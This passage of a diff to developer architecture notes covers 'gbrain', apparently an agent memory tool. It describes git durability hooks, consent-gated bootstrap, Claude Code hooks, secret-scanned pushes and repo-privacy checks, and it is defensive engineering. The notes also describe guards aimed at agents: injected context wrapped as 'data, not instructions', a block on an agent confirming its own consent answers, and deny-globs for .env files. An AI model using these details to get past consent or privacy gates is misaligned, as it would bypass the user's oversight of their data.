`up_to_date`/`advanced`), `detectDefaultBranch` (origin/HEAD → current branch → `main`), `pushProbe(repoPath, branch)` (authenticated `push --dry-run` that proves push access and classifies `auth`/`protected`/`unreachable`), and `isWorkingTreeDirty`. These auth'd paths route their `protocol.file.allow` through `GBRAIN_GIT_ALLOW_FILE_TRANSPORT` (default `never`; set `=1` for self-hosted filesystem remotes), unlike clone/pull which stay strict.
|
||||
- `src/core/brain-repo-durability.ts` + `src/commands/sources-harden.ts` — brain-repo git durability. `hardenBrainRepo(opts)` makes a brain's working tree durable, idempotently: divergence-safe pull, a LOCAL untracked `.git/hooks/post-commit` auto-push safety net (never committed — a pulled commit can't rewrite executed code next to the token; installed into the active `core.hooksPath` dir and excluded via `.git/info/exclude` when that dir is tracked), a committed `scripts/brain-commit-push.sh` that refuses to exit 0 without a confirmed push and stages+commits BEFORE any pull so a dirty tree of modified pages (the write-through shape) can still be committed — the push-retry's rebase-on-reject handles a remote that advanced (#2426; hook + helper render from ONE bash push-retry template — DRY at the TS source, not by the hook sourcing a repo-controlled script), durability rules patched into the active resolver file (`findResolverFile` → RESOLVER.md > AGENTS.md; taxonomy rendered from the bundled `_brain-filing-rules.json`), a minimal DB-free pull cron (launchd/crontab running `gbrain sources pull --path <dir>` so it never opens the PGLite single-writer lock), and a push-probe verify (no heartbeat commit). Credential is REPO-scoped (`acceptPat` from `--pat-file`/`GBRAIN_GITHUB_PAT`, warns on loose perms; reuses an existing repo-local `credential.helper`, else a `0600` store wired via repo-local config); the token is redacted everywhere via `redactSecretsInText` and never enters the repo, remote URL, logs, or `DurabilityReport`. `unhardenBrainRepo` removes the cron/hook/credential wiring (ownership-fingerprinted) and runs before `sources remove`. CLI: `gbrain sources harden <id|--all>` / `pull <id>|--path <dir>` / `unharden <id>`; auto-harden fires on `sources add --url ... --pat-file` for managed clones (`--no-harden` opts out). `sources pull --path` is dispatched in `src/cli.ts` BEFORE `connectEngine` so the cron stays DB-free. CLI-only (writes executables + an OS cron + a credential helper on the host); never exposed over MCP. Tests: `test/brain-repo-durability.serial.test.ts`, `test/git-remote-durable.serial.test.ts`, `test/brain-durability-hook.serial.test.ts`, `test/durability-cron.test.ts`.
|
||||
- `src/core/brain-repo-durability.ts` + `src/commands/sources-harden.ts` — brain-repo git durability. `hardenBrainRepo(opts)` makes a brain's working tree durable, idempotently: divergence-safe pull, a LOCAL untracked `.git/hooks/post-commit` auto-push safety net (never committed — a pulled commit can't rewrite executed code next to the token; installed into the active `core.hooksPath` dir and excluded via `.git/info/exclude` when that dir is tracked), a committed `scripts/brain-commit-push.sh` that refuses to exit 0 without a confirmed push and stages+commits BEFORE any pull so a dirty tree of modified pages (the write-through shape) can still be committed — the push-retry's rebase-on-reject handles a remote that advanced (#2426; hook + helper render from ONE bash push-retry template — DRY at the TS source, not by the hook sourcing a repo-controlled script), durability rules patched into the active resolver file (`findResolverFile` → RESOLVER.md > AGENTS.md; taxonomy rendered from the bundled `_brain-filing-rules.json`), a minimal DB-free 30-min pull cron (launchd/crontab running `gbrain sources pull --path <dir>` so it never opens the PGLite single-writer lock; on a non-darwin host `installDurabilityCron` probes `binaryOnPath('crontab')` first and returns `skipped` — not `needs_attention` — when absent, since containers/cloud sandboxes ship no scheduler and the event-driven pushes cover persistence; the wrapper self-disables via `git rev-parse --is-inside-work-tree`, worktree-safe both ways), and a push-probe verify (no heartbeat commit). `durabilityJobStatus(sourceId)` reports presence + LIVENESS (launchctl load-state on darwin, crontab line on linux, pull-log freshness) so the doctor `bootstrap_durability_job` check can't certify a dead job as healthy. Credential is REPO-scoped (`acceptPat` from `--pat-file`/`GBRAIN_GITHUB_PAT`, warns on loose perms; reuses an existing repo-local `credential.helper`, else a `0600` store wired via repo-local config); the token is redacted everywhere via `redactSecretsInText` and never enters the repo, remote URL, logs, or `DurabilityReport`. `unhardenBrainRepo` removes the cron/hook/credential wiring (ownership-fingerprinted) and runs before `sources remove`. CLI: `gbrain sources harden <id|--all>` / `pull <id>|--path <dir>` / `unharden <id>`; auto-harden fires on `sources add --url ... --pat-file` for managed clones (`--no-harden` opts out). `sources pull --path` is dispatched in `src/cli.ts` BEFORE `connectEngine` so the cron stays DB-free. CLI-only (writes executables + an OS cron + a credential helper on the host); never exposed over MCP. Tests: `test/brain-repo-durability.serial.test.ts`, `test/git-remote-durable.serial.test.ts`, `test/brain-durability-hook.serial.test.ts`, `test/durability-cron.test.ts`.
|
||||
- `src/commands/storage.ts` — `gbrain storage status [--repo P] [--json]`. Split into pure data (`getStorageStatus`) + JSON formatter + human formatter (ASCII-only) matching the `orphans.ts` pattern. `PageCountsByTier` and `DiskUsageByTier` are distinct nominal types so swaps fail at compile time.
|
||||
- `gbrain.yml` (brain repo root) — Optional storage tiering config. Top-level `storage:` section with `db_tracked:` and `db_only:` array-valued keys. `gbrain sync` auto-manages `.gitignore` for `db_only` paths on successful sync (skips on dry-run, blocked-by-failures, submodule context, or `GBRAIN_NO_GITIGNORE=1`). `gbrain export --restore-only [--repo P] [--type T] [--slug-prefix S]` repopulates missing `db_only` files from the database.
|
||||
- `src/core/supabase-admin.ts` — Supabase admin API (project discovery, pgvector check).
|
||||
@@ -495,16 +495,16 @@ Normative docs: `docs/designs/AGENT_BOOTSTRAP_DESIGN.md` (scope) +
|
||||
User-facing contract: `docs/guides/bootstrap.md`. Runbook the paste block fetches:
|
||||
`BOOTSTRAP_FOR_AGENTS.md` (root; carries a version stamp CI pins to VERSION).
|
||||
|
||||
- `src/commands/bootstrap.ts` — the `gbrain bootstrap {status,interview,render,repo,hooks,verify,uninstall,attach}` dispatcher. Engine-free everywhere except `verify` (which opens/closes its own engine — safe because verify runs with no live serve, before host registration). Mutating subcommands run under the workspace bootstrap lock; render is gated on interview `complete && confirmed` and hard-refuses when the workspace origin is a PUBLIC remote (identity files must never land in a public repo — the same template-door gate `status` enforces; unverifiable visibility warns and proceeds, treating the origin as public); the provider key routes to the 0600 config sink and never touches interview state; every subcommand appends a line to `<home>/bootstrap/install.jsonl`. Consent answers resolve FAIL-CLOSED: `consentAnswer` treats a hand-edited/unusable interview value (non-string, empty) as declined — loudly, with a re-record note — never falling through to a permissive bank default; `hooks` on Codex prints a corrective note when a persisted `project` MCP_SCOPE answer is found (raw state read, not the resolver — `codex mcp add` has no scope flag, registrations are always user-global) with safe clear instructions. `GBRAIN_BOOTSTRAP_ABORT_AFTER` is the deterministic kill-mid-phase test seam.
|
||||
- `src/commands/bootstrap.ts` — the `gbrain bootstrap {status,interview,render,repo,hooks,verify,uninstall,attach,cloud-setup-script}` dispatcher. Engine-free everywhere except `verify` (which opens/closes its own engine — safe because verify runs with no live serve, before host registration). `cloud-setup-script` is a pure printer (prints `templates/bootstrap/cloud-setup-script.sh` for the cloud environment's setup step). Mutating subcommands run under the workspace bootstrap lock; render is gated on interview `complete && confirmed` and hard-refuses when the workspace origin is a PUBLIC remote (identity files must never land in a public repo — the same template-door gate `status` enforces; unverifiable visibility warns and proceeds, treating the origin as public); the provider key routes to the 0600 config sink and never touches interview state; every MUTATING subcommand appends a line to `<home>/bootstrap/install.jsonl` (the read-only `status` and `cloud-setup-script` do not log). `hooks` on Claude Code writes the committed carrier in a cloud sandbox (`writeCommittedClaudeHooks`) and the gitignored local file otherwise; `uninstall` tears down the durability wiring and removes this workspace's per-root push/debounce state. Consent answers resolve FAIL-CLOSED: `consentAnswer` treats a hand-edited/unusable interview value (non-string, empty) as declined — loudly, with a re-record note — never falling through to a permissive bank default; `hooks` on Codex prints a corrective note when a persisted `project` MCP_SCOPE answer is found (raw state read, not the resolver — `codex mcp add` has no scope flag, registrations are always user-global) with safe clear instructions. `GBRAIN_BOOTSTRAP_ABORT_AFTER` is the deterministic kill-mid-phase test seam.
|
||||
- `src/core/bootstrap/format.ts` — `agent.json` manifest (format_version 1, provisional; `initialized` sentinel distinguishes a template clone from a bootstrapped workspace) + the machine-local install receipt (`<home>/bootstrap/receipt.json`) that proves THIS machine ran bootstrap; uninstall is keyed to the receipt, never the repo manifest. Atomic writes; `readManifest` never throws (typed states incl. conflict markers).
|
||||
- `src/core/bootstrap/assets.ts` — every template + the question bank embedded via Bun `with { type: 'file' }` imports (the chunkers/code.ts pattern) so the compiled binary renders with no repo checkout; `DERIVED_TOKENS` (GITHUB_REPO_URL, CORPUS_RETENTION_DAYS) is the non-bank half of the template token set the CI bijection guard checks.
|
||||
- `templates/bootstrap/` — the ten `{{TOKEN}}` identity templates (AGENTS/CLAUDE/SOUL/USER/MEMORY/HEARTBEAT/ACCESS_POLICY/GITHUB/memory-README/gitignore), `questions.json` (12 asked / 6 required; consent keys; `persist:false` sink keys), and `template-repo/` — the VENDORED deterministic render the release job diffs against before publishing the public template repo. Generic placeholder content only (privacy iron rule; CI-asserted).
|
||||
- `src/core/bootstrap/interview.ts` — interview state at `<ws>/state/interview.json` (committed; multi-device re-render source). Read-back confirm hash: `--confirm` must present the hash of the exact answer set shown to the human, and ANY later answer change clears the confirmation — the single-batch self-confirm attack is structurally impossible. Set-time enforcement: length caps, reject-lists, allowed-lists, control-char strip, `{{` escaping. Conflict-markered files return agent-readable errors, not stack traces.
|
||||
- `src/core/bootstrap/render.ts` — token substitution with interview values treated as data (line-leading `#`/`<!--`/fence escaping), hard-fail on unresolved tokens, never-clobber + timestamped backups on `--force`, blank-line collapse, byte floors scaled to answered count. `--minimal` is the deterministic placeholder mode the template-repo generator uses (byte-identical across runs; leaves required tokens as literal fill-me markers; writes `initialized:false`). `--only` never writes agent.json.
|
||||
- `src/core/bootstrap/lock.ts` — the bootstrap-run mutex (atomic mkdir + pid liveness + age guard + ownership token; steal requires dead pid AND stale age) and the family's shared typed `BootstrapError` (GH_MISSING/GH_AUTH carry exit 2 = human action needed).
|
||||
- `src/core/bootstrap/repo.ts` / `attach.ts` / `uninstall.ts` — private-repo lifecycle. `createPrivateRepo`: gh gates, slugified name probe, `gh repo create --private --source --push`, privacy verified via `gh api .private` (rate-limit/5xx is VERIFY_UNAVAILABLE, distinct from not-private) before any push, idempotency keyed off the remote URL. A pre-existing origin is adopted (disposition 'adopted') when the authed gh user owns it, there's no recorded `repo_url`, and it is SAFE — empty or already carrying our history (`assertAdoptableOrigin`; a foreign-content repo is refused `ORIGIN_NOT_EMPTY`, never a silent no-op); this is the create-repo-first path. Org-owned origins and anything else are refused and pointed at attach. Repo-local git identity is set in both create and adopt paths before commit; `repo_url` is recorded only after a successful push. `attachWorkspace` (machine two): requires an `initialized` manifest, writes this machine's receipt, returns structured wiring steps. `uninstallWorkspace`: receipt-keyed, refuses under a live serve (read-only lock probe — never opens the engine), removes exactly receipt-recorded paths + marker-keyed host entries, keeps the brain unless `--delete-brain` AND bootstrap created it; never wholesale-deletes the gbrain home. All gh/git through an injectable ExecRunner seam.
|
||||
- `src/core/bootstrap/hooks.ts` + `host-specs.ts` — host wiring. `host-specs.ts` is the ONE module owning host-format assumptions (dated spec targets with verifiedAt + doc references: claude-code hooks/settings shapes incl. the 10,000-char hook-output cap; codex mcp-add argv; no-TOML-writer-in-v1 decision recorded). `writeClaudeHooks` does a structural JSON merge into `.claude/settings.local.json` keyed by a `_gbrain` marker — foreign hooks and permissions survive, re-runs dedupe, broken JSON is backed up loudly; `registerClaudeMcp`/`registerCodexMcp` build argv only (Claude Code takes `--scope`, project default; Codex has no scope flag — `codex mcp add` is always user-global; `-e`/`--env GBRAIN_SOURCE` so MCP writes land in the workspace source, and `serve --surface full` pinned so a pre-existing `mcp_surface: verbs` config row can't silently narrow the bootstrap op surface).
|
||||
- `src/commands/hook.ts` — engine-free `gbrain hook {session-start,user-prompt,stop,session-end}` (zero engine modules in the import graph; a hook must NEVER contend for the PGLite writer lock). user-prompt: stdin hook JSON → transcript-path confinement → last-4-turns window + cross-turn dedupe (the transcript's `hook_additional_context` attachments — the blocks WE previously injected — ride `priorContextText`, deduplicated and capped at `PRIOR_CONTEXT_MAX_BYTES` (32KB, so the advisory payload can never blow the IPC message cap; one oversized block is skipped without evicting smaller ones), so a page is volunteered once per session, not once per mention; structured extraction only, never raw-turn substring matching) → IPC turn_context (with a feedback-loop `channel`, `--harness <claude-code|codex>`, default claude-code) → `hookSpecificOutput.additionalContext` under an 800ms self-deadline; every path fails open (exit 0, empty stdout) with a typed reason in the heartbeat. Listed in cli.ts's `STARTUP_HOOK_SKIP_COMMANDS` (per-prompt invocations must never spawn a detached check-update child; membership is pinned by a source grep — the runtime path no-ops under NODE_ENV=test). session-start: file-plane digest (allowlisted MEMORY.md sections, push staleness, prior failures) + crashed-session recovery push gated on an initialized manifest. session-end: confined full-transcript parse → redacted corpus write (session-id filename dedup, retention prune) → parser-drift detection (`bytes>0 && turns==0` is loud) → best-effort workspace push. session-start recovery + session-end pushes run in a DETACHED child so the hook returns immediately (a synchronous inline push previously blocked harness startup on a dirty tree); the corpus write is atomic and clears the stale ingested/in-progress sidecars so a resumed session re-ingests its appended transcript. Heartbeat JSONL is counters/reasons only by construction; `readHeartbeatTail` feeds doctor. `GBRAIN_HOOKS=0` kills all events.
|
||||
- `src/core/bootstrap/repo.ts` / `attach.ts` / `uninstall.ts` — private-repo lifecycle. `createPrivateRepo`: gh gates, slugified name probe, `gh repo create --private --source` (the push happens separately via `ensureRemoteHasWorkspace`), privacy verified via REST `gh api repos/{o}/{r} --jq .private` (rate-limit/5xx is VERIFY_UNAVAILABLE, distinct from not-private; a proxy-classed 403 → a cloud-specific message) before any push, idempotency keyed off the remote URL. It shares repo-visibility.ts's URL parser + `isProxyBlocked403` classifier but runs REST directly (not the full ladder — creation needs the authed-owner REST answer). A pre-existing origin is adopted (disposition 'adopted') when the authed gh user owns it, there's no recorded `repo_url`, and it is SAFE — empty or already carrying our history (`assertAdoptableOrigin`; a foreign-content repo is refused `ORIGIN_NOT_EMPTY`, never a silent no-op); this is the create-repo-first path. Org-owned origins and anything else are refused and pointed at attach. Inside a `cloud-sandbox` (execution-env), `createPrivateRepo` fails fast with `CLOUD_SANDBOX_REPO` before any `gh repo create` — a mid-session repo is never proxy-attached, so creation there is a dead end; the message routes to create-elsewhere + `bootstrap attach`. Repo-local git identity is set in both create and adopt paths before commit; `repo_url` is recorded only after a successful push. `attachWorkspace` (machine two, and the ONLY install path in a cloud sandbox since `repo` is refused there): requires an `initialized` manifest, writes this machine's receipt — recording `repo_url` from the adopted github origin so the no-daemon push gate (`repoPhaseComplete`) recognizes the repo phase as done and the per-turn/session-end pushes actually fire (privacy is still enforced at push time by the ladder) — and returns structured wiring steps. `uninstallWorkspace`: receipt-keyed, refuses under a live serve (read-only lock probe — never opens the engine), removes exactly receipt-recorded paths + marker-keyed host entries, keeps the brain unless `--delete-brain` AND bootstrap created it; never wholesale-deletes the gbrain home. All gh/git through an injectable ExecRunner seam.
|
||||
- `src/core/bootstrap/hooks.ts` + `host-specs.ts` — host wiring. `host-specs.ts` is the ONE module owning host-format assumptions (dated spec targets with verifiedAt + doc references: claude-code hooks/settings shapes incl. the 10,000-char hook-output cap; codex mcp-add argv; no-TOML-writer-in-v1 decision recorded). `writeClaudeHooks` does a structural JSON merge into `.claude/settings.local.json` keyed by a `_gbrain` marker — foreign hooks and permissions survive, re-runs dedupe, broken JSON is backed up loudly. `writeCommittedClaudeHooks` [D12] is the CLOUD carrier: a fresh cloud clone never sees the gitignored local file and hook config snapshots at session start, so cloud installs write the repo-COMMITTED `.claude/settings.json` with a PATH-resolved fail-open command (`command -v gbrain … || exit 0`; no absolute paths — the file travels between machines). The writers enforce a dedupe invariant — an event carried by the committed file is skipped by the local writer and vice-versa, matched on the EXACT portable-command shape (a bare marker + `gbrain hook` substring is spoofable), so one event never fires from both; `removeClaudeHooks` cleans both carriers; GBRAIN_HOME is refused in the committed carrier (machine-specific). `registerClaudeMcp`/`registerCodexMcp` build argv only (Claude Code takes `--scope`, project default; Codex has no scope flag — `codex mcp add` is always user-global; `-e`/`--env GBRAIN_SOURCE` so MCP writes land in the workspace source, and `serve --surface full` pinned so a pre-existing `mcp_surface: verbs` config row can't silently narrow the bootstrap op surface).
|
||||
- `src/commands/hook.ts` — engine-free `gbrain hook {session-start,user-prompt,stop,session-end,compact}` (zero engine modules in the import graph; a hook must NEVER contend for the PGLite writer lock). user-prompt: stdin hook JSON → transcript-path confinement → last-4-turns window + cross-turn dedupe (the transcript's `hook_additional_context` attachments — the blocks WE previously injected — ride `priorContextText`, deduplicated and capped at `PRIOR_CONTEXT_MAX_BYTES` (32KB, so the advisory payload can never blow the IPC message cap; one oversized block is skipped without evicting smaller ones), so a page is volunteered once per session, not once per mention; structured extraction only, never raw-turn substring matching) → IPC turn_context (with a feedback-loop `channel`, `--harness <claude-code|codex>`, default claude-code) → `hookSpecificOutput.additionalContext` under an 800ms self-deadline; every path fails open (exit 0, empty stdout) with a typed reason in the heartbeat. Listed in cli.ts's `STARTUP_HOOK_SKIP_COMMANDS` (per-prompt invocations must never spawn a detached check-update child; membership is pinned by a source grep — the runtime path no-ops under NODE_ENV=test). session-start: file-plane digest (allowlisted MEMORY.md sections, push staleness, prior failures) + crashed-session recovery push gated on an initialized manifest. session-end: confined full-transcript parse → redacted corpus write (session-id filename dedup, retention prune) → parser-drift detection (`bytes>0 && turns==0` is loud) → best-effort workspace push. session-start recovery + session-end pushes run in a DETACHED child so the hook returns immediately (a synchronous inline push previously blocked harness startup on a dirty tree); the corpus write is atomic and clears the stale ingested/in-progress sidecars so a resumed session re-ingests its appended transcript. stop: also runs a per-turn debounced detached push [D3] (`stopPushIfDue` — per-workspace-root debounce state, 5-min default local + ephemeral-container / every turn in a cloud-sandbox, a failing status bypasses to a 60s retry floor, same repo-phase security gate as session-end), closing the `/exit` gap (SessionEnd never fires on `/exit`) and the VM-reclaim gap; `GBRAIN_STOP_PUSH=0` disables it, `GBRAIN_STOP_PUSH_DEBOUNCE_MIN` / config `hooks.stop_push_debounce_min` tune it. user-prompt also surfaces a failing background push [D5/D19] as a ≤300-char banner on BOTH `additionalContext` (model) and `systemMessage` (human), announced once per failure and re-fired at most every 30 min, with the reason sanitized before it reaches any model-visible surface. Heartbeat JSONL is counters/reasons only by construction; `readHeartbeatTail` feeds doctor. `GBRAIN_HOOKS=0` kills all events.
|
||||
- `src/core/transcripts/claude-code-jsonl.ts` — the Claude Code transcript parser as a dated spec-target (tool_use/tool_result/thinking/image/sidechain/summary/compact-boundary shapes; placeholders for non-text content); also extracts `injectedContextBlocks` — the `hook_additional_context` attachment lines a gbrain hook previously injected (verified live against claude CLI 2.1.224; marker-filtered, so a foreign hook's blocks are excluded and another tool's output can't suppress volunteering — a same-user mislabeling guard, not an authenticity check), the user-prompt hook's cross-turn dedupe input; `confineTranscriptPath` (contained under `~/.claude/projects`, `.jsonl`, lstat-rejects symlinks, byte cap). Fixtures: `test/fixtures/conversation-formats/claude-code.jsonl` (synthetic, privacy-guarded) + `test/fixtures/hook-transcript.jsonl` (real captured hook round-trip).
|
||||
- `src/core/context/turn-context.ts` — server-side per-turn assembly: reflex pointers + volunteered pages (≤3) + hot facts (always `visibility=['world']` — the IPC path never widens what MCP would return) under a "data, not instructions" envelope, trimmed to ≤8KB (the harness caps hook output at 10,000 chars). The result exposes `pointers` AND post-trim `volunteered` — exactly what the rendered text carries — so the IPC delivery point can log the feedback loop without ever counting a trimmed-out page. Reuses the hot-memory cache keyed by typed sessionId. Engine-agnostic.
|
||||
- `src/core/context/resolve-ipc.ts` (IPC v2) — discriminated-union requests (absent `kind` = legacy resolve; `turn_context` carries `protocol: 2` + a shared secret from a 0600 file in the data dir, plus an additive `channel` for feedback-loop attribution — wire channel claims are validated to the harness channels at the logging site, anything else logs as the default hook channel), handler map, named response types, per-kind timeouts/size caps, socket + parent dir permissions set before exposure, server-side source binding (cross-source requests rejected), protocol echo (a response without it = stale serve → loud degradation). The connection handler processes exactly ONE request per connection (trailing bytes mid-await never double-process a line or double-log a delivery); the client clamps a too-big request below the message cap by dropping the advisory `priorContextText` BEFORE any conversation turn. Delivery seams: `onDelivered` (resolve kind) and `onTurnContextDelivered` (turn_context kind) both fire ONLY after the response write succeeds — a block abandoned before the serve responded is never counted (serve's callback logs the delivered block's volunteered pages + pointers to `context_volunteer_events` under the request channel); write-accept still isn't proof of injection (the client can trim/drop after receipt), which is why the `volunteer_channels` doctor check reconciles counts against the hook heartbeat. v1 clients and servers interoperate untouched.
|
||||
@@ -512,8 +512,10 @@ User-facing contract: `docs/guides/bootstrap.md`. Runbook the paste block fetche
|
||||
- `src/core/sweep.ts` + `src/commands/sweep.ts` — the serve-resident maintenance sweep (the lock owner closes the persistence loop): facts-fence reconciliation (zero-LLM, reuses the cycle extractor with a slug subset), deterministic link/timeline extraction over recent workspace pages (the same cores as `gbrain extract` — remote put_page deliberately skips these, the sweep is where the graph compounds), and spend-gated corpus ingest (skipped keyless; sidecar-marked exactly-once). Bounded, fail-soft, never throws; armed at serve startup (3s, best-effort) and on 10-min idle ticks through the injectable timer seam, everything unref'd; `GBRAIN_SWEEP=0` kills it. `gbrain sweep --once` is the trusted CLI seam `bootstrap verify` uses (CLI-only, never over MCP).
|
||||
- `src/core/capability.ts` — config-plane keyless/keyed detection + the honest capability report (`keyless mode: keyword search, agent-authored memory; add ONE key to unlock…`) rendered by verify and the runbook.
|
||||
- `src/core/secret-scan.ts` — pattern scanner for USER workspaces (own minimal allowlist + `<ws>/.gbrain-scan-allow` per-finding overrides — deliberately NOT the repo's `.gitleaks.toml`, which is a public-repo CI fixture policy); redacted previews only; `redactFindings` is the corpus-write mode.
|
||||
- `src/core/workspace-push.ts` — `gbrain sources push`: deny-glob backstop (tracked `*.pglite`/`.env*` refused regardless of .gitignore state) → stage FIRST → secret-scan the STAGED index blobs via `git cat-file` (closes the scan-then-stage TOCTOU — scanned bytes == committed bytes) → commit FIRST → divergence-safe pull → push, under one cross-platform lock (mkdir-atomic; flock is not a dependency — macOS). The pre-push secret gate FAILS CLOSED: an unreadable, oversized (> `PUSH_MAX_SCAN_BYTES`), or otherwise unscannable staged blob returns `blocked_unscannable` (nothing committed) instead of sailing through — only a confirmed staged deletion is skipped, and binary/NUL-sniffed blobs are scanned anyway. Statuses map to exit codes in `src/commands/sources.ts`: `pushed`/`skipped_in_flight` → 0; `blocked_secrets`/`blocked_tracked_deny`/`blocked_unscannable`/`refused_visibility` → 5; `pull_conflict`/`push_failed`/other → 1. Refuses public AND unverifiable remotes (never fail-open); pushes even on clean trees; writes `<home>/bootstrap/push-status.json`. Parent-repo-aware (a source may be a subdirectory of the workspace repo).
|
||||
- `src/core/workspace-push.ts` — `gbrain sources push`: deny-glob backstop (tracked `*.pglite`/`.env*` refused regardless of .gitignore state) → stage FIRST → secret-scan the STAGED index blobs via `git cat-file` (closes the scan-then-stage TOCTOU — scanned bytes == committed bytes) → commit FIRST → divergence-safe pull → push, under one cross-platform lock (mkdir-atomic; flock is not a dependency — macOS). The pre-push secret gate FAILS CLOSED: an unreadable, oversized (> `PUSH_MAX_SCAN_BYTES`), or otherwise unscannable staged blob returns `blocked_unscannable` (nothing committed) instead of sailing through — only a confirmed staged deletion is skipped, and binary/NUL-sniffed blobs are scanned anyway. Statuses map to exit codes in `src/commands/sources.ts`: `pushed`/`skipped_in_flight` → 0; `blocked_secrets`/`blocked_tracked_deny`/`blocked_unscannable`/`refused_visibility` → 5; `pull_conflict`/`push_failed`/other → 1. The privacy gate runs the shared `repo-visibility.ts` ladder (REST → git protocol) and refuses proven-public AND unverifiable remotes (never fail-open). Three escape hatches for self-hosted git you trust, each warns and downgrades ONLY `unverifiable` (never a proven-public push): CLI `--allow-unverified-remote` > env `GBRAIN_ALLOW_UNVERIFIED_REMOTE=1` > file-plane config `push.allow_unverified_remote` (the only channel a detached hook child can read). Pushes even on clean trees; writes per-workspace status `<home>/bootstrap/push-status-<roothash>.json` (a shared `readPushStatuses`/`summarizePushStatuses` reader; one workspace's success can't mask another's failure, and records for a since-deleted root are filtered). Parent-repo-aware (a source may be a subdirectory of the workspace repo).
|
||||
- `src/core/gbrain-home.ts` — the single GBRAIN_HOME resolution choke point (delegates to config's parent-dir semantics; 0700 on create) — durability, push, hooks, and bootstrap all route through it so home semantics cannot drift.
|
||||
- `src/core/execution-env.ts` — the third bootstrap axis (harness × engine × ENVIRONMENT). `detectExecutionEnvironment(signals?)` returns `local | cloud-sandbox | ephemeral-container` from injected signals: `CLAUDE_CODE_REMOTE=true` (official, never local) or a `cse_`-prefixed remote-session id or a credential-injecting proxy (`GH_TOKEN`/`GITHUB_TOKEN === 'proxy-injected'`, or an anthropic-egress `https_proxy`) → cloud-sandbox; RENDER/RAILWAY/FLY / `/.dockerenv` → ephemeral-container. `isCredentialInjectingProxy(env?)` is the exported proxy check (load-bearing for the repo-visibility ambiguity rule). `binaryOnPath(name)` moved here (live-PATH `Bun.which`) and is re-exported by `bootstrap/status.ts`; autopilot's `detectInstallTarget()` routes its ephemeral branch through the shared detector. Pure + signal-injected. Tests: `test/execution-env.test.ts`.
|
||||
- `src/core/repo-visibility.ts` — ONE repo-privacy verdict shared by every consumer, replacing three drifted probes. The FULL ladder runs in `workspace-push.ts` (the push gate) and `bootstrap/verify.ts` (`checkRepoPrivacy`); `bootstrap/repo.ts` and `bootstrap/status.ts` reuse its URL parser + 403 classifier but call REST directly (both are sync-by-contract: repo creation needs the authed-owner answer, status runs inside the phase-detect chain). `verifyRepoVisibility({originUrl, repoDir, runner, fetchImpl, env})` runs a fail-closed ladder: REST (`gh api repos/{o}/{r} --jq .private` — NEVER `gh repo view`/GraphQL, which cloud proxies pin) → authed `git ls-remote` (SSRF flags via `durableSsrfFlags` + `--end-of-options`) → an anonymous smart-HTTP probe (`redirect:'manual'`, userinfo stripped). A 200 counts PUBLIC only with git-advertisement proof (content-type or pkt-line prefix); a 401/404 counts PRIVATE only with origin attribution (github.com needs `x-github-request-id` — a bare `WWW-Authenticate` is RFC-mandated on every 401 and a middlebox 401s identically, so it is NOT proof; non-github origins have no trustable signal → `unverifiable`). Everything else → `unverifiable`. `classifyGh403`/`isProxyBlocked403` distinguish a real GitHub 403 (JSON with `message`+`documentation_url`) from a sandbox-proxy 403. `parseGithubOwnerRepo` is the canonical URL parser (bootstrap/repo + hook re-adapt it). Private verdicts cache 1h (private-only, per-origin, userinfo-stripped key) at `<home>/bootstrap/visibility-cache.json`. Engine-free; every IO seam injected. Tests: `test/repo-visibility.test.ts`.
|
||||
- `src/core/bootstrap/verify.ts` + `status.ts` — verify is the definition of done: fail-soft check suite over the REAL write path (put_page op → write-through file under `brain/` → in-process sweep → graph floor via link tables → recall), the keyless magic-moment check (`## Facts` fence → zero-LLM reconciliation → world-visibility read-back), source_id collision resolution (as the one bootstrap subcommand holding an engine: a manifest `source_id` already registered to a DIFFERENT checkout → derives a stable `workspace-<8char-path-hash>`, persists it to agent.json, names the re-register steps — every consumer reads `manifest.source_id`), token sweep, byte floors, secret scan, deny globs, repo privacy, hooks smoke (in-process IPC), capability report, first-run tour; snapshots kept last-5 under `<home>/bootstrap/`. status owns the ordered PHASES list (the runbook defers to it), artifact-first detection, install.jsonl, the runbook version-stamp skew check, and the support blob doctor/agents relay verbatim.
|
||||
- `src/core/bootstrap/template-repo.ts` + `scripts/generate-template-repo.ts` — deterministic public-template generation (render `--minimal` + placeholder manifest + stamped README); published only by the release workflow after diffing against the vendored tree.
|
||||
- `scripts/check-bootstrap-tag.sh` / `scripts/check-bootstrap-templates.sh` — CI guards: sanctioned distribution ref only (`latest-stable`; the release job advances it after assets publish) + runbook stamp == VERSION; template↔question-bank token bijection + placeholder-only assertion + offline generator↔vendored byte-diff + runbook-phase↔status.ts consistency + harness-scoping counter-signal pins (the MCP-scope consent is Claude Code only: the runbook must carry the Codex "Do NOT offer an MCP scope choice" bullet and the "Claude Code only" consent scoping, and the bank's MCP_SCOPE question must start with `(Claude Code only` with `phase: interview` — tripwires against deleting the load-bearing prose, not placement proofs). Both skip gracefully when their subjects are absent.
|
||||
|
||||
@@ -20,9 +20,11 @@ follows is `BOOTSTRAP_FOR_AGENTS.md` at the repo root, fetched at the
|
||||
| `agent.json` manifest + `brain/`, `memory/`, `skills/`, `state/` | workspace | — |
|
||||
| Local brain (PGLite) | `~/.gbrain/` (never in the repo) | while a session's MCP serve is open |
|
||||
| MCP registration (`gbrain serve`) | Claude Code: project scope by default; Codex: user-global (no scope flag) | spawned by your harness per session |
|
||||
| Hooks (Claude Code, ON by default) | `.claude/settings.local.json` (gitignored) | each prompt; fail-open; `--no-hooks` opts out at install, `GBRAIN_HOOKS=0` disables at runtime |
|
||||
| Session persistence | SessionEnd hook → scan-gated commit+push | at session end |
|
||||
| Optional 15-min push job | launchd/cron (consent-gated) | while logged in |
|
||||
| Hooks (Claude Code, ON by default) | local installs: `.claude/settings.local.json` (gitignored); cloud sandboxes: the COMMITTED `.claude/settings.json` (PATH-resolved, fail-open commands) | each prompt; fail-open; `--no-hooks` opts out at install, `GBRAIN_HOOKS=0` disables at runtime |
|
||||
| Per-turn persistence | Stop hook → debounced, detached scan-gated push (per workspace; 5 min default, every turn in cloud sandboxes) | after each assistant turn; `GBRAIN_STOP_PUSH=0` disables; `GBRAIN_STOP_PUSH_DEBOUNCE_MIN` / config `hooks.stop_push_debounce_min` tune it |
|
||||
| Session persistence | SessionEnd hook → scan-gated commit+push | at session end (note: the harness never fires SessionEnd on `/exit` — the per-turn push is what covers that) |
|
||||
| Push-failure visibility | next turn's context + a user-visible notice; re-announces every 30 min while failing | whenever a background push fails |
|
||||
| Optional background job (consent-gated) | git post-commit auto-push + launchd/cron 30-min pull (pull job skipped honestly on hosts without a scheduler) | while logged in |
|
||||
| Private GitHub repo | your account, created by `bootstrap repo` (or an empty repo you made yourself, adopted) | privacy verified via API |
|
||||
